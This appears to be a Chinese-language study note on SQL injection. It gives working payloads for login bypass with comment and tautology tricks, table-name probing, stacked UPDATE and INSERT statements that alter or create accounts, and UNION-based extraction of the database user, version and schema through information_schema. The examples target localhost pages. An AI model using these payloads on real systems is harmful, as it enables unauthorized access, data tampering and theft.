1:sql 注入:SQL Injection
就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
简单来说,就是让服务器获取到你的恶意sql语句,并且执行。
参考
https://blog.csdn.net/chuan442616909/article/details/58653996
https://www.cnblogs.com/cui0x01/p/8620524.html
Select * from user where id = ''
例子1:
输入为 percy, test
select * from users where username='percy' and password=md5('test')
将输入name修改为percy'#(#表示注释)
select * from users where username='percy'#' and password=md5('test')
或者name修改为’ or 1=1#
select * from users where username='' or 1=1#' and password=md5('test')
例子2:
select * from users where id = '$id'
http://localhost:3452/ExcelUsingXSLT/Default.aspx?id=1'or'1'='1
id=1' or '1'='1
结果select * from users where id = '1' or '1'='1'
例子3:探测表名
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or 1=(select count(*) from job)
看返回信息,最后看能不能猜出来,job,jobs。。。
例子4:执行update命令
14'; update user set name='percy
14'; update user set name='percy' where id='12
猜测是MD5加密,那么甚至可以构建一个完整的user
14';insert into user (name, passwd) values ('percy', '12345678')#
例子5:获取数据库相关信息
1' Union select User(), Database(), Version(), @@version_compile_os, 6
Database() :数据库名 fanke
Version() :数据库版本 5.5.40
User() : 数据库用户 root@localhost
@@version_compile_os :操作系统 win32
6:the used select statement hava a different number of columns(针对这个错误,使得两个select的数量是一致的)
要求:Mysql5.0以上版本
Information_schema:存储mysql数据库下所有数据库的表名和列名信息的自带数据库
table_name:表名
table_schema:数据库名
column_name:列名
information_schema.tables:存储mysql数据库下所有数据库的表名信息的表
information_schema.columns:存储mysql数据库下所有数据库的列名信息的表